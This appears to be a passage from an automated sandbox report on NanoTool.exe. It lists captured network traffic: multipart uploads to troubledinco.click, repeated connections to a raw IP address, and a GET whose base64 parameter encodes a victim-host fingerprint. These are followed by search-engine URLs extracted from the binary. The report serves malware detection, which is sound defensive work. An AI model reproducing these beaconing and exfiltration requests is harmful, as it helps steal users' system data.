      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AB5KECP6HVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8736Host: troubledinco.click
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FITZS4F1H6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20389Host: troubledinco.click
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NN3RBZWMY8S56FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1253Host: troubledinco.click
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W008HLEWO522User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568590Host: troubledinco.click
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: troubledinco.click
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: unknownTCP traffic detected without corresponding DNS query: 159.100.18.192
      Source: global trafficHTTP traffic detected: GET / HTTP/1.1Accept: application/json, text/plain, */*User-Agent: axios/0.27.2Host: www.google.comConnection: close
      Source: global trafficHTTP traffic detected: GET /login.php?event=init&id=bmV3Z3V5&data=OCBHQl9bb2JqZWN0IE9iamVjdF1fX18yWjRHWV90cnVlXzEyODB4MTAyNF9XaW5kb3dzIDEwIFByb18xMjIgbWludXRlcyAoMC4wNCBob3VycylfQzpcVXNlcnNcam9uZXNfNTA2MDEzX2pvbmVzX1dpbmRvd3NfTlRfeDY0XzEwLjAuMTkwNDVfQzpcVXNlcnNcam9uZXNcQXBwRGF0YVxSb2FtaW5nX0M6XFVzZXJzXGpvbmVzXEFwcERhdGFcTG9jYWxcVGVtcF9KT05FUy1QQ19fSW50ZWw2NCBGYW1pbHkgNiBNb2RlbCAxNDMgU3RlcHBpbmcgOCwgR2VudWluZUludGVsX0FNRDY0X0M6XzJfQzpcVXNlcnNcam9uZXNcQXBwRGF0YVxMb2NhbFxUZW1wXDJwd1VWVWZBeE9haU5BYVk0MmJ5NmdORWpFS1xOYW5vVG9vbC5leGU= HTTP/1.1Accept: application/json, text/plain, */*User-Agent: axios/0.27.2Host: 159.100.18.192Connection: close
      Source: NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: chttps://www.baidu.com/s?ie={inputEncoding}&wd={searchTerms}https://www.baidu.com/s?ie={inputEncoding}&word={searchTerms}https://www.baidu.com/{google:pathWildcard}/s?ie={inputEncoding}&word={searchTerms}sigs_ssp{google:baseURL}#q={searchTerms}{google:baseURL}search#q={searchTerms}{google:baseURL}webhp#q={searchTerms}{google:baseURL}s#q={searchTerms}{google:baseURL}s?q={searchTerms}https://go.mail.ru/msearch?q={searchTerms}&{mailru:referralID}https://m.so.com/s?ie={inputEncoding}&q={searchTerms}https://m.so.com/index.php?ie={inputEncoding}&q={searchTerms}https://m.sogou.com/web/{google:pathWildcard}?ie={inputEncoding}&keyword={searchTerms}http://searchatlas.centrum.cz/?q={searchTerms}http://hladaj.atlas.sk/fulltext/?phrase={searchTerms}http://isearch.avg.com/search?q={searchTerms}http://search.avg.com/route/?q={searchTerms}&lng={language}https://isearch.avg.com/search?q={searchTerms}https://search.avg.com/route/?q={searchTerms}&lng={language}http://search.babylon.com/?q={searchTerms}http://search.conduit.com/Results.aspx?q={searchTerms}http://www.delfi.lt/paieska/?q={searchTerms}http://www.delta-search.com/?q={searchTerms}http://www1.delta-search.com/home?q={searchTerms}http://www1.delta-search.com/?q={searchTerms}http://www2.delta-search.com/home?q={searchTerms}http://www2.delta-search.com/?q={searchTerms}http://www.search.delta-search.com/home?q={searchTerms}http://www.search.delta-search.com/?q={searchTerms}http://www.yhs.delta-search.com/home?q={searchTerms}http://www.yhs.delta-search.com/?q={searchTerms}http://mixidj.delta-search.com/home?q={searchTerms}http://mixidj.delta-search.com/?q={searchTerms}http://search.goo.ne.jp/web.jsp?MT={searchTerms}&IE={inputEncoding}http://search.goo.ne.jp/sgt.jsp?MT={searchTerms}&CL=plugin&FM=json&IE={inputEncoding}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Default.aspx#q={searchTerms}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Result.aspx#q={searchTerms}http://start.iminent.com/?q={searchTerms}http://start.iminent.com/StartWeb/1033/homepage/#q={searchTerms}http://search.incredibar.com/?q={searchTerms}http://mystart.incredibar.com/?search={searchTerms}https://www.neti.ee/cgi-bin/otsing?query={searchTerms}&src=webhttps://www.neti.ee/api/suggestOS?suggestVersion=1&suggestQuery={searchTerms}https://nova.rambler.ru/search?query={searchTerms}https://nova.rambler.ru/suggest?v=3&query={searchTerms}http://www.search-results.com/web?q={searchTerms}http://search.snap.do/?q={searchTerms}http://feed.snapdo.com/?q={searchTerms}http://feed.snap.do/?q={searchTerms}http://en.softonic.com/s/{searchTerms}http://www.softonic.com/s/{searchTerms}http://www.softonic.com.br/s/{searchTerms}http://buscador.softonic.com/?q={searchTerms}http://nl.softonic.com/s/{searchTerms}https://search.softonic.com/?q={searchTerms}https://en.softonic.com/s/{searchTerms}https://www.softonic.com/s/{searchTerms}https://www.softonic.com.br/s/{searchTerms}https://buscador.softonic.com/?q={searchTerms}https://nl.softonic.com/s/{s
      Source: global trafficDNS traffic detected: DNS query: www.google.com
      Source: global trafficDNS traffic detected: DNS query: chrome.cloudflare-dns.com
      Source: global trafficDNS traffic detected: DNS query: sBpfpTArYhs.sBpfpTArYhs
      Source: global trafficDNS traffic detected: DNS query: troubledinco.click
      Source: unknownHTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ak.apnstatic.com/media/images/favicon_search-results.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ak.apnstatic.com/media/images/favicon_search-results.icohttp://dts.search-results.com/sr?lng=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://arianna.libero.it/search/abin/integrata.cgi?query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://autocomplete.nigma.ru/complete/query_help.php?suggest=true&q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.softonic.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.terra.es/Default.aspx?source=Search&ca=s&query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.terra.es/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.terra.es/favicon.icohttp://buscador.terra.es/Default.aspx?source=Search&ca=s&query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscar.terra.com.ar/Default.aspx?source=Search&ca=s&query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscar.terra.com.ar/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscar.terra.com.ar/favicon.icohttp://buscar.terra.com.ar/Default.aspx?source=Search&ca=s&que
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://crbug.com/1138528
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://dts.search-results.com/sr?lng=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://en.softonic.com/s/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://feed.snap.do/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://feed.snapdo.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://find.in.gr/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://find.in.gr/Themes/1/Default/Media/Layout/icon_in.png
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://find.in.gr/Themes/1/Default/Media/Layout/icon_in.pnghttp://find.in.gr/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://g1.delphi.lv/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://g1.delphi.lv/favicon.icohttp://www.delfi.lv/search_all/?ie=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://hladaj.atlas.sk/fulltext/?phrase=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.rl0.ru/2011/icons/rambler.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.rl0.ru/2011/icons/rambler.icohttp://nova.rambler.ru/search?query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.wp.pl/a/i/stg/500/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.wp.pl/a/i/stg/500/favicon.icohttp://szukaj.wp.pl/szukaj.html?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://imgs.sapo.pt/images/sapo.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://imgs.sapo.pt/images/sapo.icohttp://pesquisa.sapo.pt/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://isearch.avg.com/search?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://linkurystoragenorthus.blob.core.windows.net/static/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://linkurystoragenorthus.blob.core.windows.net/static/favicon.icohttp://search.snapdo.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mixidj.delta-search.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mixidj.delta-search.com/home?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ms1.iol.it/graph_hf/v.8.3.04/themes/default/img/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ms1.iol.it/graph_hf/v.8.3.04/themes/default/img/favicon.icohttp://arianna.libero.it/search/ab
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mysearch.sweetpacks.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mystart.incredibar.com/?search=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nigma.ru/?s=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nigma.ru/themes/nigma/img/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nigma.ru/themes/nigma/img/favicon.icohttp://nigma.ru/?s=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nl.softonic.com/s/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nova.rambler.ru/search?query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nova.rambler.ru/suggest?v=3&query=
      Source: nanophanotool.exe, 00000000.00000000.1675877375.000000000040A000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ok.hu/gfx/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ok.hu/gfx/favicon.icohttp://ok.hu/katalogus?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ok.hu/katalogus?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://pesquisa.sapo.pt/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://pesquisa.sapo.pt/livesapo?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://radce.centrum.cz/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/favicon.icohttp://search.avg.com/search?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/route/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/search?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/favicon.icohttp://search.babylon.com/home?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/home?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.conduit.com/Results.aspx?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.goo.ne.jp/sgt.jsp?MT=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.goo.ne.jp/web.jsp?MT=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.imesh.net/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.imesh.net/favicon.icohttp://search.imesh.net/music?hl=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.imesh.net/music?hl=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Default.aspx#q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Result.aspx#q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/Shared/Images/favicon_gl.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/Shared/Images/favicon_gl.icohttp://search.iminent.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/?q=
